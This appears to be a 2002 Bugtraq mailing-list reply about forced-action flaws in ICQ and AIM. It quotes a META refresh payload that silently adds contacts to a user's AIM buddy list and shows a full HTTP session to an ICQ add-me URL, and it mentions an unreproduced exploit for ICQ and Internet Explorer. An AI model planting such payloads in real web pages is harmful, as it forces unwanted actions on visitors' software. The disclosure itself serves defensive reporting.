Knud, This issue is still here, only address that you use is not longer valid, because is changed... At end is the http session (for my icq beware :)). Also seems that no one take attention Jelmer's exploit for ICQ and MSIE. It must be examined througly for other variants and complete solution must be given to the comunity! ATTENTION it is a HIGH security risk for clients - it works with almost any ICQ and IE, and ICQ must be installed in default path, or script to "guess" where, but anyway this is a very common case. Http session for the icq: GET http://wwp.icq.com/whitepages/add_me/?uin=71398287&action=add HTTP/1.0 Accept: image/gif, image/x-xbitmap, image/jpeg, image/pjpeg, */* Accept-Language: bg,en-us;q=0.5 User-Agent: Mozilla/4.0 (compatible; MSIE 5.5; Windows NT 5.0) Host: wwp.icq.com Proxy-Connection: Keep-Alive HTTP/1.0 200 OK Date: Thu, 18 Jul 2002 07:12:12 GMT Server: Apache/1.3.26 (Unix) mod_ssl/2.8.9 OpenSSL/0.9.6d P3P: CP="ONL UNI COM PHY NAV INT DEM CURo OUR" Content-Type: application/x-icq Proxy-Connection: close <!-- Vignette StoryServer 5.0 Thu Jul 18 03:12:12 2002 --> [ICQ User] UIN=71398287 Email= NickName= FirstName= LastName= ----- Original Message ----- From: "Knud Erik Højgaard" <kain@egotrip.dk> To: "orb" <orb@mindflip.org>; <bugtraq@securityfocus.com> Sent: Monday, July 16, 2001 11:44 PM Subject: Re: AIM forced behavior "issue" > > Example > > <META > > > HTTP-EQUIV="refresh"CONTENT=0;URL=aim:addbuddy?listofscreennames=mindfliporg > ,mfliporb,mflipmax,mflips0nic,mflipzorcon&groupname=mindfliporg> > > > > A web page loaded with the above code in it's META REFRESH tag would > > automatically add a group to the users buddylist called mindfliporg and > > add buddy's > > mindfliporg, mfliporb, mflipmax, mflips0nic, mflipzorcon to the group. > > We tried some similar stuff with icq a while ago, live example at > http://knudergud.dk/dev/icq.html .. > it seems broken now, but the idea should be obvious. adding to a contact > list using javascript, requiring > no user interaction.. stupid software. > > -Knud > >
